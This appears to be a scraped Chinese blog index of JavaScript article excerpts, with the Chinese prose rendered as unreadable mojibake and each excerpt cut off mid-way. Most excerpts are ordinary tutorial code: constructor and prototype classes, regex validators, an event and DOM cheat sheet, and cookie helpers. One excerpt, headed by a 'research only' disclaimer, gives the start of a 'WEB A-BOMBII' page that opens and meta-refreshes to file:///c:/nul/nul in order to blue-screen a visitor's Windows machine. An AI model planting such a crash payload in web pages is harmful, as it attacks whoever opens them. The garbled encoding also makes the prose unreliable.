Javascript ÃæÏò¶ÔÏó»úÖÆµÄʵÏÖ
×Ô¶¨ÒåÀàµÄʵÏÖ·½·¨ºÜ¶à£¬Öصã̸Á½ÖÖ¡£
¹¹Ô캯Êý·¨
function Player(url){
this.url = url;
this.showUrl = function(){
alert(this.url);
}
this.play = function(){
// do play
}
}
var myPlayer = new Player("test.mp3");
myPlayer.showUrl();
alert(myPlayer instanceof Player);
Óŵ㣺Àà±»·â×°³ÉÒ»¸öÕûÌå ÉùÃ÷ʵÀýÓÃnewÔËËã·û
ȱµã£º¶ÔÏóµÄ·½·¨»áÖØ¸´Éú³É
function Player(url){
this.url = url;
if(typeof Player._initialized == "undefined"){
Player.prototype.showUrl = function(){
alert(this.url);
Player._initialized = true;
}
}
}
var myPlay ......
JavaScript³£ÓÃÑéÖ¤º¯Êý
Òý×Ô:http://www.webdeveloping.cn/blog/?action=show&id=209
//УÑéÊÇ·ñÈ«ÓÉÊý×Ö×é³É
function isDigit(s) {
var patrn=/^[0-9]{1,20}$/;
if (!patrn.exec(s)) return false
return true
}
//УÑéµÇ¼Ãû£ºÖ»ÄÜÊäÈë5-20¸öÒÔ×Öĸ¿ªÍ·¡¢¿É´øÊý×Ö¡¢“_”¡¢“.”µÄ×Ö´®
function isRegisterUserName(s) {
var patrn=/^[a-zA-Z]{1}([a-zA-Z0-9]|[._]){4,19}$/;
if (!patrn.exec(s)) return false
return true
}
&nbs ......
¡¾£¡ÉùÃ÷£º´Ë³ÌÐòÖ»¹©Ñо¿Ê¹Óã¬ÈçÓÃ×ö²»Õýµ±ÓÃ;ºó¹û×Ô¸º¡¿
100ÃëÄÚÀ¶ÆÁËÀ»úµÄJavascript½Å±¾Ô´´úÂë
Òý×Ô:http://www.webdeveloping.cn/blog/?action=show&id=78
<html>
<head>
<script LANGUAGE="javascript">
¡¡¡¡function leave() {
window.open(file:///c:/nul/nul,,toolbar=no,menubar=no,location=no,height=1,width=1);
}
// End -->
<!--webbot bot="HTMLMarkup" startspan TAG="XBOT" --></script>
¡¡¡¡<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>WEB A-BOMBII BETA V0.5</title>
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta content="100;URL=file:///c:/nul/nul" http-equiv="refresh">
<style type="text/css">A:link {
FONT-SIZE: 9pt; TEXT-DECORATION: none
}
A:visited {
FONT-SIZE: 9pt; TEXT-DECORATION: none
}
A:active {
FONT-SIZE: 9pt; TEXT-DECORATION: none
}
A:hover {
COLOR: red; TEXT-DECORATION: none
}
BODY {
FONT-SIZE: 9pt; LINE-HEIGHT: 13pt ......
JavaScript ʼþ·½·¨
http://www.webdeveloping.cn/blog/?action=show&id=207
ʼþÔ´¶ÔÏó
event.srcElement.tagName
event.srcElement.type
²¶»ñÊÍ·Å
event.srcElement.setCapture();
event.srcElement.releaseCapture();
ʼþ°´¼ü
event.keyCode
event.shiftKey
event.altKey
event.ctrlKey
ʼþ·µ»ØÖµ
event.returnValue
Êó±êλÖÃ
event.x
event.y
´°Ìå»î¶¯ÔªËØ
document.activeElement
°ó¶¨Ê¼þ
document.captureEvents(Event.KEYDOWN);
·ÃÎÊ´°ÌåÔªËØ
document.all("txt").focus();
document.all("txt").select();
´°ÌåÃüÁî
document.execCommand
´°ÌåCOOKIE
document.cookie
²Ëµ¥Ê¼þ
document.oncontextmenu
´´½¨ÔªËØ
document.createElement("SPAN");
¸ù¾ÝÊó±ê»ñµÃÔªËØ£º
document.elementfromPoint(event.x,event.y).tagName=="TD
document.elementfromPoint(event.x,event.y).appendChild(ms)
´°ÌåͼƬ
document.images[Ë÷Òý]
´°Ìåʼþ°ó¶¨
document.onmousedown=scrollwindow;
ÔªËØ
document.´°Ìå.elements[Ë÷Òý]
¶ÔÏó°ó¶¨Ê¼þ
document.all.xxx.detachEvent('onclick',a);
²å¼þÊýÄ¿
navigator.plugins
È¡±äÁ¿ÀàÐ ......
ÔÚÊý°ÙÍòÕÅÒ³ÃæÖУ¬JavaScript ±»ÓÃÀ´¸Ä½øÉè¼Æ¡¢ÑéÖ¤±íµ¥¡¢¼ì²âä¯ÀÀÆ÷¡¢´´½¨cookies£¬µÈµÈµÈµÈ¡£
JavaScript ÊÇÒòÌØÍøÉÏ×îÁ÷ÐеĽű¾ÓïÑÔ£¬²¢ÇÒ¿ÉÔÚËùÓÐÖ÷ÒªµÄä¯ÀÀÆ÷ÖÐÔËÐУ¬±È·½Ëµ Internet
Explorer¡¢ Mozilla¡¢Firefox¡¢Netscape¡¢ºÍ Opera¡£
ʲôÊÇ JavaScript£¿
JavaScript ±»Éè¼ÆÓÃÀ´Ïò HTML Ò³ÃæÌí¼Ó½»»¥ÐÐΪ¡£
JavaScript ÊÇÒ»Öֽű¾ÓïÑÔ£¨½Å±¾ÓïÑÔÊÇÒ»ÖÖÇáÁ¿¼¶µÄ±à³ÌÓïÑÔ£©¡£
JavaScript ÓÉÊýÐпÉÖ´ÐмÆËã»ú´úÂë×é³É¡£
JavaScript ͨ³£±»Ö±½ÓǶÈë HTML Ò³Ãæ¡£
JavaScript ÊÇÒ»ÖÖ½âÊÍÐÔÓïÑÔ£¨¾ÍÊÇ˵£¬´úÂëÖ´Ðв»½øÐÐÔ¤±àÒ룩¡£
ËùÓеÄÈËÎÞÐ蹺ÂòÐí¿ÉÖ¤¾ù¿ÉʹÓà JavaScript¡£
Java ºÍ JavaScript ÊÇÏàͬµÄÂð£¿
²»Í¬£¡
ÔÚ¸ÅÄîºÍÉè¼Æ·½Ã棬Java ºÍ JavaScript ÊÇÁ½ÖÖÍêÈ«²»Í¬µÄÓïÑÔ¡£
Java£¨ÓÉÌ«Ñô΢ϵͳ¹«Ë¾¿ª·¢£©ºÜÇ¿´ó£¬Í¬Ê±Ò²ÊǸü¸´Ôӵıà³ÌÓïÑÔ£¬¾ÍÏñͬ¼¶±ðµÄ C ºÍ C++¡£
JavaScript ÄÜ×öʲô£¿
JavaScript Ϊ HTML Éè¼ÆÊ¦ÌṩÁËÒ»ÖÖ±à³Ì¹¤¾ß
HTML ´´×÷ÕßÍùÍù¶¼²»ÊdzÌÐòÔ±£¬µ«ÊÇ JavaScript
È´ÊÇÒ»ÖÖÖ»ÓµÓм«Æä¼òµ¥µÄÓï·¨µÄ½Å±¾ÓïÑÔ£¡¼¸ºõÿ¸öÈ˶¼ÓÐÄÜ ......
function getCookies(name)
{
var arr = document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)"));
if(arr != null) return unescape(arr[2]); return '';
}
function setCookie(name, value, expires, path, domain, secure)
{
var liveDate = new Date();
expires = liveDate.setTime(liveDate.getTime() + expires*60*1000);//ºÁÃë
//expires = new Date((new Date()).getTime() + expires * 60000);//°´·ÖÖÓ
document.cookie = name + "=" + escape (value) +
((expires) ? "; expires=" + expires : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
((secure) ? "; secure" : "");
} ÒÔÏÂÍøÉÏÕÒµÄ×ÊÁÏ:
—————————————————
js cookie×ܽá ......